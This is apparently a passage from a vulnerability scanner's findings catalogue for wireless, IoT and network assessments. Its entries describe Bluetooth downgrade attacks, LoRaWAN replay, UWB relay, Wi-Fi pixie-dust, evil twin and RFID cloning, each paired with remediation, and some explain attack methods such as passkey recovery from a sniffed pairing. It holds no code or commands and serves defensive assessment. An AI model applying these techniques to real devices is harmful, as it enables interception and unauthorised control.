Description: A man-in-the-middle can negotiate Numeric Comparison with one device and Passkey Entry with the other in the same ceremony; both use a 6-digit value, so the user reads the number one device shows and enters it into the other, completing a stable MITM even under LESC.
Impact: Defeats the highest LESC/MITM security level via the human factor (CERT VU#534195): the attacker holds a persistent interposed position while both devices report a successful pairing.
Remediation: Pin the negotiated association model, present an unambiguous 'enter' vs 'compare' UI, and prefer OOB pairing.
HIGH GB-BT-010 — Bluetooth Pairing Security Downgrade Accepted
Description: The device completed pairing after a forced downgrade offer (Secure Connections cleared, IO capability set to NoInputNoOutput, and/or a reduced key size), instead of aborting.
Impact: A device that silently accepts SC=0 / Just Works / a short key when it can support stronger security is exploitable via an active downgrade man-in-the-middle in range.
Remediation: Enforce a security floor (SC=1, MITM for sensitive functions, 16-byte key) and abort pairing on any weaker offer; re-verify the negotiated level before exposing sensitive GATT.
NIST 800-53: SC-8, IA-2
HIGH GB-BT-011 — Short Bluetooth Encryption Key Negotiated
Description: The device negotiated a maximum encryption key size below 16 bytes (BLE floor is 7). Short keys reduce brute-force cost and are the BLE analogue of the KNOB attack.
Impact: A negotiated key near the 7-byte floor allows an attacker to brute-force the session key and decrypt or inject traffic.
Remediation: Enforce a 16-byte encryption key floor and abort pairing/connection on any shorter negotiated size.
NIST 800-53: SC-12, SC-13
HIGH GB-BT-013 — KNOB — Bluetooth Encryption Key Entropy Downgrade (CVE-2019-9506)
Description: The BR/EDR encryption key-entropy negotiation (LMP) is not integrity-protected, letting a MITM force both devices to a 1-byte (8-bit) key.
Impact: The reduced-entropy key is brute-forced in real time, allowing an in-range attacker with no pairing or user interaction to decrypt and inject traffic on the link.
Remediation: Patch the host to enforce a minimum encryption key entropy (>=7 octets BR/EDR, 16 for LESC) and abort shorter negotiations.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH GB-BT-014 — BLUFFS — Bluetooth Forward/Future Secrecy Weakness (CVE-2023-24023)
Description: Weaknesses in BR/EDR session-key derivation (Core Spec 4.2-5.4) permit unilateral, repeatable session-key derivation, breaking forward and future secrecy; combined with key-length downgrade it enables MITM and impersonation across sessions.
Impact: An in-range attacker can force reuse of a weak session key, decrypting captured traffic and impersonating a device across multiple sessions.
Remediation: Reject low negotiated key lengths, adopt the SIG key-derivation fix, and operate in Secure Connections Only mode.
HIGH GB-BT-015 — BIAS — Bluetooth Impersonation (CVE-2020-10135)
Description: BR/EDR authentication does not mandate mutual authentication; via role-switch and SC-to-legacy downgrade an attacker impersonates a previously-paired master or slave without possessing the link key.
Impact: An attacker in range who knows the victim BD_ADDR can impersonate a trusted, previously-bonded device without any key material.
Remediation: Enable Secure Connections Only mode and require mutual authentication in both directions.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH GB-BT-017 — BLESA — BLE Reconnection Spoofing (CVE-2020-9770)
Description: BLE reconnection authentication is optional and often not enforced by the client, so a central accepts spoofed data from an impersonated peripheral without re-authentication after the first bonding.
Impact: An attacker spoofing the peripheral BD_ADDR can feed forged data (e.g. medical telemetry) to the consuming device on reconnect, with no user interaction.
Remediation: Enforce mandatory authenticated and encrypted reconnection before accepting any data from a previously-bonded peer.
HIGH GB-BT-018 — Unauthenticated GATT Characteristic Read
Description: One or more GATT characteristics returned data over an unpaired, unencrypted link (ATT Read Response with a value and no 0x05/0x0F/0x08 security error).
Impact: Any listener in range can read the exposed data with no credential; where it is PHI, telemetry, or configuration the confidentiality impact is severe.
Remediation: Set encryption/authentication-required permissions on sensitive characteristics; gate PHI behind LESC-authenticated bonding.
OWASP API: API1:2023 Broken Object Level Authorization
NIST 800-53: AC-3, SC-8
HIGH GB-BT-020 — Unauthenticated GATT Notification/Indication Stream
Description: On an unpaired link the device granted a large ATT MTU and started notifications/indications after a CCCD write, streaming data without authentication.
Impact: Sensitive telemetry or PHI is exposed to any in-range listener without pairing; a large pre-auth MTU on a sensitive stream aggravates the leak.
Remediation: Require encryption on the CCCD and its source characteristic; do not start notifications before authenticated bonding.
NIST 800-53: AC-3, SC-8
HIGH GB-BT-021 — SweynTooth BLE SoC Vulnerability Surface
Description: The device's BLE System-on-Chip belongs to a vendor/part with known SweynTooth firmware vulnerabilities in the Link Layer, L2CAP, SMP or ATT (crash, deadlock, or the Telink Zero-LTK Installation security bypass).
Impact: Depending on the SoC and SDK version, an in-range attacker can crash or deadlock the device (DoS, may require power-cycle) or, on affected Telink parts, install an all-zero LTK for arbitrary read/write — safety-relevant per FDA/CISA advisory ICS-ALERT-20-063-01.
Remediation: Update the BLE controller firmware/SDK to a patched release; where the SoC is end-of-life, apply architectural mitigations (restrict pairing, disable unused profiles, physical/RF controls).
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
HIGH GB-BT-022 — BrakTooth BR/EDR SoC Vulnerability Surface
Description: The device's BR/EDR System-on-Chip belongs to a vendor/part with known BrakTooth LMP/Baseband vulnerabilities (V1-V16), ranging from crashes and deadlocks to Espressif ESP32 arbitrary code execution.
Impact: An in-range attacker can crash, deadlock, or (on ESP32) execute code on the controller; several affected parts (e.g. TI CC2564C, Qualcomm CSR8811/8510) were 'no fix planned', leaving only architectural mitigation.
Remediation: Update the Bluetooth controller firmware to a patched release; for end-of-life SoCs, disable unused profiles, restrict connectability, and apply physical/RF controls.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
HIGH GB-BT-023 — BleedingTooth Linux BlueZ Kernel Vulnerability Surface
Description: The Linux host behind the Bluetooth controller runs an unpatched BlueZ kernel (< 5.9), exposing the BleedingTooth family: BadKarma (L2CAP heap type-confusion), BadChoice (info leak), BadVibes (BLE ext-advertising heap overflow).
Impact: BadKarma chains to zero-click kernel remote code execution over BR/EDR from radio range; BadVibes needs only that the victim is scanning, with no BD_ADDR required.
Remediation: Patch the kernel to 5.9+ (or vendor backport); set CONFIG_BT_HS=n to remove the A2MP path; rfkill unused radios.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
HIGH GB-BT-024 — BlueBorne Bluetooth Stack Vulnerability Surface
Description: The host Bluetooth stack (Linux BlueZ, Android, Windows, or old iOS) predates the 2017 BlueBorne patches, exposing SDP/BNEP/L2CAP flaws that require only that Bluetooth is powered on.
Impact: An attacker in range can achieve remote code execution or MITM with no pairing and no user interaction; 'non-discoverable' is not a mitigation because the address is recoverable by sniffing.
Remediation: Apply the 2017-09+ vendor security patches; disable Bluetooth when unused.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
HIGH GB-BT-028 — Bluetooth Link-Layer Malformed-PDU Crash
Description: The device crashed or deadlocked when sent a malformed Link-Layer / HCI PDU (the generic class covering SweynTooth/BrakTooth-style firmware defects and Android BlueFrag CVE-2020-0022).
Impact: A malformed advertising/connect/control PDU — often broadcast with no BD_ADDR required — crashes the target and can escalate to remote code execution on vulnerable stacks.
Remediation: Update controller firmware and host stack (PDU length/format validation, buffer bounding); disable unused profiles; rate-limit.
HIGH GB-BT-030 — BLE LESC Passkey Recovered from Passive Capture
Description: The 6-digit LE Secure Connections Passkey Entry passkey was recovered offline from a passively-captured pairing. In LESC Passkey Entry each of the 20 passkey bits is committed with f4 (AES-CMAC over the cleartext ECDH public keys, the revealed per-round nonce, and one passkey bit); once the nonce is revealed the single bit is brute-forced by matching the captured Pairing Confirm, and the recovery is confirmed independently from the initiator and responder halves.
Impact: An attacker who passively sniffs ONE pairing recovers the passkey with no active MITM and no physical access to the printed value. If the passkey is static or reused it authenticates every future session and every unit that shares it, collapsing LESC Passkey Entry to Just Works — full man-in-the-middle and session compromise.
Remediation: Use a fresh, random, single-use passkey per pairing that is never printed, hard-coded, or reused; a passkey a single sniffed pairing reveals provides no MITM protection under LESC.
Effort: Moderate
NIST 800-53: IA-5, SC-8, SC-13
HIGH GB-CAN-002 — CAN Bus Injected Frame Accepted
Description: An injected CAN frame was accepted and processed by the device. CAN has no built-in authentication; any node on the bus can transmit arbitrary messages.
Remediation: Implement a CAN firewall or gateway. Consider SecOC (ISO 21434) for safety-critical systems. Apply physical access controls to CAN connectors.
HIGH GB-DISC-005 — LLMNR/NBT-NS Broadcast Poisoning Possible
Description: LLMNR and/or NBT-NS broadcast name resolution is active on the network, allowing an attacker to poison responses with Responder and capture NTLMv1/v2 hashes for offline cracking or relay.
Remediation: Disable LLMNR and NetBIOS-NS via Group Policy (Network > DNS Client) and enforce DNS-only name resolution across all hosts.
HIGH GB-DISC-006 — LLMNR/NBT-NS Broadcast Poisoning Possible
Description: LLMNR and/or NBT-NS broadcast name resolution is active on the network, allowing an attacker to poison responses with Responder and capture NTLMv1/v2 hashes for offline cracking or relay.
Remediation: Disable LLMNR and NetBIOS-NS via Group Policy (Network > DNS Client) and enforce DNS-only name resolution across all hosts.
HIGH GB-LORA-003 — Raw LoRa Payload Transmitted Without Encryption
Description: A proprietary (non-LoRaWAN) LoRa frame carried an application payload that decodes to printable/structured cleartext, indicating the payload is transmitted with no encryption or message integrity check.
Impact: Any passive listener in radio range reads sensor/telemetry data directly, and — absent a MIC — can forge or replay commands to the device, undermining confidentiality and integrity of the RF link.
Remediation: Encrypt and authenticate the application payload (AES-CTR/GCM with a per-device key and a monotonic counter/nonce), or adopt LoRaWAN and rely on its MIC and FRMPayload encryption.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
MITRE ATT&CK: T1040 (Discovery)
NIST 800-53: SC-8, SC-13
PCI DSS 4: 4.2.1
HIGH GB-LORA-004 — LoRaWAN ABP Activation — Static Session Keys
Description: The device is activated by ABP (Activation By Personalization), so the NwkSKey and AppSKey are provisioned as static, long-lived key material instead of being derived per session by an OTAA join.
Impact: On a device reset the frame counter returns to zero while the keys are unchanged, so the AES-CTR keystream/IV is reused across sessions — enabling known-plaintext / crib-dragging recovery of payloads and replay of previously captured uplinks.
Remediation: Prefer OTAA so fresh session keys are derived per join; where ABP is mandatory, persist frame counters across reboots (never reset them) and rotate the ABP session keys on a defined schedule.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Discovery), T1557 (Credential Access)
NIST 800-53: SC-12, IA-5
PCI DSS 4: 3.6.1
HIGH GB-LORA-005 — LoRaWAN OTAA Join Replay — Missing DevNonce Tracking
Description: The device uses OTAA under LoRaWAN 1.0.x, where the end device cannot detect a repeated Join-Accept and the network server only remembers a bounded number of recent DevNonce values, so a captured Join-Request can be replayed after that window rolls over.
Impact: An attacker replays a captured Join-Request to force a re-join and session-key reset, enabling denial-of-service against the node or pinning it to attacker-observable key material derived from replayed nonces.
Remediation: Upgrade to LoRaWAN 1.1, which enforces a monotonic DevNonce counter and join-server nonce tracking; where 1.0.x is required, persist the full DevNonce history per device and reject any repeat.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
MITRE ATT&CK: T1040 (Discovery), T1557 (Credential Access)
NIST 800-53: SC-23, IA-2
PCI DSS 4: 8.3.1
HIGH GB-LORA-007 — LoRaWAN Missing Frame-Counter Validation
Description: The network accepted a LoRaWAN uplink whose frame counter (FCnt) was equal to or lower than a previously-seen value — observed as a repeated FCnt in the capture, or confirmed by an authorized replay — indicating frame-counter validation is not strictly enforced.
Impact: Without strict monotonic frame-counter checks an attacker replays captured uplinks to re-trigger device actions or mask live telemetry with stale readings, defeating the protocol's core replay protection.
Remediation: Enforce strict monotonic frame-counter validation at the network server (reject any FCnt <= last seen), enable 32-bit frame counters, and alert on counter resets or rollovers.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
MITRE ATT&CK: T1040 (Discovery), T1557 (Credential Access)
NIST 800-53: SC-23, SI-10
PCI DSS 4: 6.2.4
HIGH GB-NET-001 — Unencrypted Service: Telnet
Description: A Telnet service is accessible on the network, transmitting all data including authentication credentials in cleartext, enabling passive interception or active MITM attacks.
Remediation: Disable the Telnet daemon and replace it with SSH for all remote administration; block port 23 at the network perimeter.
HIGH GB-NET-002 — SNMP Default Community String Accepted
Description: The SNMP service accepts a well-known default community string (e.g., public/private), allowing unauthenticated read (and potentially write) access to device configuration data.
Remediation: Change all SNMP community strings to random high-entropy values, restrict SNMP access by source IP, and migrate to SNMPv3 with authentication and encryption.
HIGH GB-NET-003 — FTP Anonymous Login Permitted
Description: The FTP service accepts the anonymous username without credentials, potentially exposing hosted files or allowing unauthenticated file upload.
Remediation: Disable anonymous FTP in the server configuration; migrate file transfer to SFTP/FTPS and enforce authentication for all access.
HIGH GB-NET-004 — NFS World-Readable Export
Description: An NFS export is accessible to all hosts (wildcard * or 0.0.0.0/0 in /etc/exports). Any host on the network can mount and read the exported filesystem.
Remediation: Restrict NFS exports by client IP. Use root_squash and nosuid mount options. Disable NFS if not required.
HIGH GB-NET-007 — FTP Bounce Attack Possible
Description: The FTP server accepts the PORT command with arbitrary destination IP addresses, enabling FTP bounce attacks. In a bounce attack, an attacker directs the FTP server to open a data connection to a third-party host on any specified port, effectively using the FTP server as a TCP proxy to port-scan internal hosts, bypass egress filtering, or connect to services that would otherwise reject connections from the attacker's source address. This technique can also be used to transfer files to or from third-party machines without direct connectivity.
Remediation: Configure the FTP server to reject PORT commands where the specified IP address does not match the client's source address (disable FTP bounce in daemon configuration). Consider migrating from FTP to SFTP or FTPS. Apply firewall rules to restrict outbound connections from the FTP server to known-good destination addresses.
HIGH GB-NET-008 — NFS Export Points Enumerated — Potentially Unauthenticated Access
Description: The NFS server responded to showmount queries, exposing a list of exported filesystem paths and their allowed client specifications. Depending on export configuration, an unauthenticated or low-privilege host on the network may be able to mount one or more of these exports and read or write files directly. Even read-only access to NFS exports can expose sensitive configuration files, SSH keys, or application data that facilitates further compromise.
Remediation: Restrict NFS exports to specific, authorised client IP addresses or subnets in /etc/exports; remove wildcard (*) or overly broad CIDR grants. Require Kerberos authentication (sec=krb5p) for sensitive exports. Disable the rpcbind/mountd showmount response if export enumeration by arbitrary clients is not required. Apply host-based and network firewall rules to limit NFS port access to authorised clients only.
HIGH GB-NET-009 — NFS Insecure Export Options
Description: One or more NFS exports are configured with insecure options that increase the risk of unauthorised access or privilege escalation. Common insecure settings include no_root_squash (which allows root on the client to act as root on the server), rw on broad CIDR ranges, no_all_squash, or insecure (allowing connections from non-privileged ports). A client with rw and no_root_squash access can write arbitrary files — including SUID binaries or SSH authorised_keys entries — that enable full host compromise.
Remediation: Audit /etc/exports and apply root_squash, all_squash, and nosuid to all exports. Remove no_root_squash unless there is a documented and approved use case. Prefer ro (read-only) where write access is not operationally required. Apply the most restrictive client specifier possible (explicit host or /32 CIDR).
HIGH GB-NET-010 — Industrial/OT Protocol Exposure
Description: An industrial or operational technology (OT) protocol was detected on the network, including but not limited to Modbus/TCP (502), BACnet/IP (47808), EtherNet/IP (44818), DNP3, or IEC 60870-5-104. These protocols were designed for deterministic, low-latency communication in isolated control environments and provide no authentication, integrity protection, or confidentiality. Exposure of these services to untrusted network segments allows an attacker to read sensor data, issue arbitrary control commands, or disrupt physical processes.
Remediation: Segment OT/ICS networks from corporate IT networks using firewalls or unidirectional security gateways (data diodes). Apply application-layer firewalls that understand industrial protocol specifics to whitelist expected command sets and source addresses. Disable unused protocol services on PLCs, RTUs, and HMIs. Monitor for anomalous command patterns.
HIGH GB-RF-003 — Fixed-Code Sub-GHz Remote — Replayable
Description: A fixed-code (static OOK/ASK) sub-GHz remote or command protocol was decoded, meaning the device transmits the identical code on every actuation with no changing element.
Impact: A single captured frame can be re-transmitted verbatim to reproduce the command (garage/gate/relay/keyfob class); the captured static code IS the credential, so anyone who records one press controls the device.
Remediation: Replace fixed-code remotes with a rolling-code scheme or, preferably, an authenticated challenge-response link with anti-replay counters; treat the transmitted code as a credential, not an identifier.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
MITRE ATT&CK: T0831 (Impair Process Control)
HIGH GB-RF-005 — Sub-GHz Replay Attack Feasible
Description: A captured sub-GHz command was re-transmitted (operator-confirmed, benign) and the device under test acted on it, confirming a working replay attack with no rolling counter, nonce, or authentication preventing frame reuse.
Impact: An attacker who records one legitimate transmission can reproduce the command at will — unlocking, actuating, or otherwise controlling the device remotely without any credential.
Remediation: Adopt authenticated, anti-replay commanding (rolling counter plus MAC, or challenge-response); reject any frame whose counter or nonce has already been observed.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
MITRE ATT&CK: T0831 (Impair Process Control)
HIGH GB-RF-006 — Unauthenticated Sub-GHz Command Channel (OOK/FSK)
Description: The device's sub-GHz control channel accepts commands with no authentication of the sender — the demodulated OOK/FSK frame is a bare command carrying no signature or nonce.
Impact: Any attacker able to transmit on the band can craft and inject commands the device will act on, achieving unauthenticated remote control of the device's functions.
Remediation: Require signed/authenticated commands (HMAC or public-key) with a monotonic counter or nonce, and reject any unauthenticated or malformed frame at the receiver.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
MITRE ATT&CK: T0860 (Initial Access)
HIGH GB-RFID-001 — RFID Card UID Captured
Description: Proxmark3 successfully read the UID of an RFID credential within range of the device reader. Systems relying solely on UID for access control are vulnerable to cloning attacks.
Remediation: Implement mutual authentication (MIFARE DESFire EV2/EV3 with AES). Do not rely on UID alone.
HIGH GB-RFID-002 — RFID Card Data Payload Read
Description: The RFID card data blocks were successfully read without authentication. Sensitive data stored in card memory (employee ID, access level, personal data) may be exposed.
Remediation: Enable sector access conditions on MIFARE Classic cards. Migrate to DESFire with application-level encryption.
HIGH GB-SC-005 — Weak or Absent Cardholder Verification Method
Description: The card served sensitive file content in response to raw READ BINARY APDUs with no Cardholder Verification Method enforced (no PIN required; the card did not answer 0x6982 'security status not satisfied').
Impact: With no CVM, mere possession of the card is sufficient to access protected data and operations — there is effectively no authentication, so a lost or briefly-borrowed card yields full access.
Remediation: Define and enforce a CVM (PIN, PACE, or on-card biometric) access condition on every protected file and command; verify the card returns 0x6982 for unauthenticated access.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
NIST 800-53: IA-2, AC-3
PCI DSS 4: 8.3.1
HIGH GB-SC-006 — Unauthenticated APDU Access to Sensitive File
Description: An elementary file was read via a raw READ BINARY APDU that returned 0x9000 with data without any prior VERIFY/cardholder verification being presented.
Impact: Any party with brief physical access to the card and a low-cost reader can extract the file's contents (asset data, credentials, holder identifiers) directly, with no PIN or key.
Remediation: Protect sensitive elementary files with a CVM access condition and enforce it in the card OS access rules; require secure messaging for READ BINARY on protected files.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1052 (Exfiltration)
NIST 800-53: AC-3, AC-6
HIGH GB-SC-009 — Default or Known Smart Card PIN Accepted
Description: The card accepted a well-known factory default PIN via an ISO-7816 VERIFY command (SW 0x9000) during an operator-confirmed, single-attempt test.
Impact: Anyone in possession of the card can satisfy cardholder verification with a published default PIN and unlock CVM-protected files and operations, defeating the PIN control entirely.
Remediation: Force a PIN change away from all factory defaults at first use; enforce PIN complexity and a low retry counter with a secure unblock (PUK) procedure.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
NIST 800-53: IA-5
PCI DSS 4: 8.3.5, 8.3.9
HIGH GB-SERIAL-001 — Unauthenticated Serial Console
Description: A serial console (UART, RS-232) provided an interactive unauthenticated shell or bootloader prompt on connection.
Remediation: Password-protect the serial console in firmware. Disable UART console in production builds.
HIGH GB-SMB-001 — SMB Signing Disabled or Not Required
Description: SMB packet signing is not enforced on the server, allowing an attacker positioned between client and server to relay or tamper with SMB authentication and data.
Remediation: Enable and require SMB signing via Group Policy (RequireSecuritySignature=1) on all Windows systems to prevent NTLM relay attacks.
HIGH GB-SSH-002 — SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
Description: The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root login, or password-based authentication, increasing exposure to brute-force and protocol-level attacks.
Remediation: Harden sshd_config to disable SSHv1, restrict ciphers and MACs to strong algorithms, disable root login, disable password authentication, and require public-key authentication only.
HIGH GB-TLS-001 — SSL/TLS Certificate: Expired
Description: The server's TLS certificate has passed its expiry date, causing browser trust errors and indicating a breakdown in certificate lifecycle management.
Remediation: Renew the certificate immediately and implement automated renewal (e.g., ACME/Let's Encrypt) to prevent future expiry.
HIGH GB-TLS-003 — SSL/TLS — Protocol Version Below TLS 1.2
Description: TLS 1.0 or TLS 1.1 is accepted. These protocol versions are deprecated by RFC 8996 and vulnerable to BEAST, POODLE, and RC4 downgrade attacks.
Remediation: Disable TLS 1.0, TLS 1.1, and all SSL versions. Accept only TLS 1.2 and TLS 1.3.
HIGH GB-USB-001 — USB HID Keyboard Injection Accepted
Description: The device accepted keystroke injection from an emulated HID keyboard without any restriction or rate-limiting. A pre-programmed HID device can execute OS-level commands on device insertion.
Remediation: Implement USB HID device allowlisting. Disable USB HID enumeration on production devices where not required.
HIGH GB-USB-002 — USB Bash Bunny Payload Executed
Description: A Bash Bunny HID payload was executed by the device. The injected keystrokes were processed without restriction.
Remediation: Apply USB device policy and application whitelisting. Review autorun and HID handling in the OS.
HIGH GB-UWB-003 — UWB Ranging Without Scrambled Timestamp Sequence (STS)
Description: The UWB ranging exchange does not carry a Scrambled Timestamp Sequence (STS mode 0 / disabled, or a legacy 802.15.4a device). STS is the IEEE 802.15.4z cryptographic PHY field that binds the ranging timestamp to a secret.
Impact: Without STS the time-of-flight measurement is unauthenticated and can be forged, so relay, replay and distance-reduction attacks against proximity-based access control or RTLS are not cryptographically prevented.
Remediation: Enable IEEE 802.15.4z HRP secure ranging with STS (FiRa OWR/PDoA or DS-TWR with STS) provisioned via a per-session key; disable legacy 802.15.4a ranging.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
NIST 800-53: SC-8, SC-13, IA-9
HIGH GB-UWB-004 — Unauthenticated UWB Ranging Exchange
Description: Ranging frames are exchanged without cryptographic authentication of the timestamp, so a receiver cannot verify that a poll/response/final frame actually originated from the claimed peer at the measured distance.
Impact: Unauthenticated ranging is the root enabler of relay and distance-reduction attacks: any device can participate in or forge a ranging round, spoofing presence and distance for access control or asset tracking.
Remediation: Require STS-authenticated secure ranging and reject ranging rounds that omit or fail STS verification; bind the ranging result to an authenticated session.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
NIST 800-53: IA-3, IA-9
HIGH GB-UWB-005 — UWB Ranging Susceptible to Distance-Reduction (Ghost Peak) Attack
Description: Without enforced STS integrity, an over-the-air adversary can inject an early cipher-guessed STS/preamble to make the ranging peer measure a shorter-than-actual distance (the 'Ghost Peak' attack, USENIX Security 2022, demonstrated on Apple U1, NXP SR040/SR150 and Qorvo DW3000).
Impact: Where UWB gates physical access or presence (secure entry, unlock-on-approach, RTLS geofencing), an attacker can appear 'in range' from outside the intended zone and defeat proximity-based security.
Remediation: Enforce STS with a minimum acceptable STS quality/figure-of-merit, reject ranging with low STS confidence, and add an application-layer distance bound and multi-anchor cross-check.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
NIST 800-53: SC-8, IA-9
HIGH GB-UWB-006 — UWB Ranging Susceptible to Relay Attack
Description: An attacker relaying UWB ranging frames between a genuine tag and anchor can make a far peer appear in proximity. STS-based secure ranging binds the timing to a secret and is the defined mitigation; its absence leaves proximity guarantees unenforced.
Impact: Relay of the ranging exchange spoofs proximity for access control and RTLS, letting an attacker unlock/authorise or misplace a tracked asset from outside the intended range.
Remediation: Enable STS secure ranging and bind the ranging result to an authenticated session; never treat a UWB distance as trustworthy without STS verification.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
NIST 800-53: SC-8, IA-9
HIGH GB-UWB-007 — Replay of UWB Ranging Frames Accepted
Description: Previously-captured UWB ranging frames (poll/response/final or blink) were replayed and accepted by the ranging peer, showing the exchange lacks a per-session freshness guarantee (fresh STS / nonce / counter).
Impact: Replayable ranging enables spoofed presence and distance in RTLS and access-control use — a recorded exchange can be reused to re-assert proximity at will.
Remediation: Derive a fresh STS per ranging session from a monotonic counter/nonce and reject frames whose STS does not match the current session.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
NIST 800-53: SC-8, IA-9
HIGH GB-VULN-002 — Nessus High Vulnerability
Description: Nessus Professional identified a high severity vulnerability (CVSS 7.0–8.9). Often exploitable by local or adjacent attackers with limited prerequisites.
Remediation: Patch within the defined SLA for high-severity findings. Apply compensating controls if immediate patching is not feasible.
HIGH GB-VULN-005 — CVE-Matched Service Banner
Description: The service banner matched a known CVE in the NVD or OSV.dev database. The software version identified in the banner is listed as affected by a publicly disclosed vulnerability with an available CVSS score.
Remediation: Update the affected software to a patched version. Cross-reference the specific CVE for vendor-recommended mitigations.
HIGH GB-VULN-006 — End-of-Life Software Detected
Description: A service banner or version string indicates software that has passed its vendor end-of-life date. No further security patches will be issued, and any future vulnerabilities will be permanently unaddressed.
Remediation: Upgrade to a supported version. If upgrade is constrained, apply network isolation and create a formal remediation plan.
HIGH GB-VULN-007 — End-of-Life Operating System Detected
Description: The operating system identified from banners or Nessus output has passed its vendor support end-of-life date. The OS will not receive security patches for newly discovered vulnerabilities.
Remediation: Upgrade to a supported OS version. If the device cannot be upgraded, implement network isolation as a compensating control.
HIGH GB-VULN-008 — Nuclei Template Match — CVE
Description: Nuclei matched a CVE-tagged template against the target. The response pattern confirms the service is exhibiting behaviour consistent with the disclosed vulnerability.
Remediation: Apply the vendor patch for the matched CVE. Verify remediation by re-running the nuclei scan.
HIGH GB-VULN-010 — Nuclei Template Match — Exposed Panel
Description: Nuclei identified an exposed administrative or management panel accessible without prior authentication (e.g., Grafana, Jenkins, Kibana, phpMyAdmin, device management UI).
Remediation: Restrict access to administrative panels by IP allowlist, VPN, or disable public access entirely.
HIGH GB-WIFI-002 — Open Wi-Fi Network — No Encryption
Description: The access point provides no link-layer encryption (open authentication). All frames to and from associated devices are transmitted in cleartext.
Impact: Any listener in radio range can passively read all traffic and actively inject or modify frames, capturing PHI/telemetry and hijacking sessions without any credential.
Remediation: Deploy WPA3-SAE (or at minimum WPA2-CCMP/Enterprise) with 802.11w PMF required; never operate a medical or clinical device on an open SSID.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-13, AC-18
PCI DSS 4: 4.2.1, 2.2.7
HIGH GB-WIFI-007 — WPS Pixie-Dust Vulnerable
Description: The WPS registrar generates predictable/low-entropy E-S1/E-S2 Diffie-Hellman nonces, allowing the WPS PIN to be recovered offline from a single M1-M3 exchange (the pixie-dust attack).
Impact: The WPS PIN — and therefore the WPA passphrase — is recovered offline in seconds with no online guessing, granting full network access regardless of passphrase strength.
Remediation: Disable WPS entirely; the underlying nonce-generation weakness cannot be configured away. Rotate the WPA passphrase after disabling, as it must be considered compromised.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: AC-18, IA-2, SC-13
PCI DSS 4: 2.2.7, 8.3.6
HIGH GB-WIFI-010 — Rogue Access Point / Evil Twin Feasible
Description: The device under test associated with a rogue access point cloning the target SSID (optionally PMF-less / WPA2-only) instead of authenticating the genuine AP.
Impact: Without server-certificate validation, PMF, or mutually-authenticated association, an evil twin in range captures the device onto an attacker-controlled network to intercept and modify its traffic and harvest credentials (captive-portal or EAP relay).
Remediation: Require WPA3-SAE with PMF (mutual authentication), or for Enterprise validate the RADIUS server certificate and pin the CA on the client so a rogue AP cannot complete association.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: AC-18, IA-3, SC-8
PCI DSS 4: 11.2.1, 2.2.7
HIGH GB-ZIGBEE-001 — Zigbee Traffic Captured
Description: Zigbee frames were captured from the device. Depending on the security profile, payloads may disclose network keys, sensor data, or command traffic.
Remediation: Enable Zigbee AES-128 network and link layer encryption (Zigbee 3.0). Rotate network keys periodically.
HIGH GB-ZW-003 — Unencrypted Z-Wave Control Frames
Description: Actionable Z-Wave control traffic (e.g. Binary Switch, Multilevel Switch, Door Lock, Alarm) was observed in the clear, with no S0 (CC 0x98) or S2 (CC 0x9F) encapsulation.
Impact: Any passive listener can read device state, and any attacker with a TX-capable radio can forge or replay commands — unlocking doors, toggling actuators, or suppressing alarms — with no key required.
Remediation: Enforce S2 (Security_2) on every node, remove nodes that cannot be securely included, and never operate actuators or locks over unencrypted command classes.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access)
